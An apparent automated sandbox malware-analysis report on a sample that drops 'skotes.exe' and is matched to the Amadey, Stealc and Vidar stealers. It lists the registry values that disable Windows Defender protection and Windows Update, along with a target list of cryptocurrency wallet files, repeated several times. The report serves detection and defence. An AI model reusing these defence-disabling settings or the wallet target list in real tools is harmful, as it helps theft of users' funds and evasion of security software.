Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe "C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CD04760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CD04760

Source: file.exe, file.exe, 00000000.00000002.2619954244.0000000000986000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: pProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB0B341 cpuid

0_2_6CB0B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAD35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CAD35A0

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.skotes.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.DocumentsCBAKJEHDBG.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.2672523079.0000000000C31000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2651768061.0000000000E41000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2672723810.0000000000C31000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000001D.00000002.3017859957.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3093978577.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2976420926.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2874044959.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3053437488.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3016848121.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3094796057.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2831544731.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2134993992.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2625469567.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2619339487.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2871777456.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 80b5f835af.exe PID: 9148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 80b5f835af.exe PID: 3004, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 80b5f835af.exe PID: 8412, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5320, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
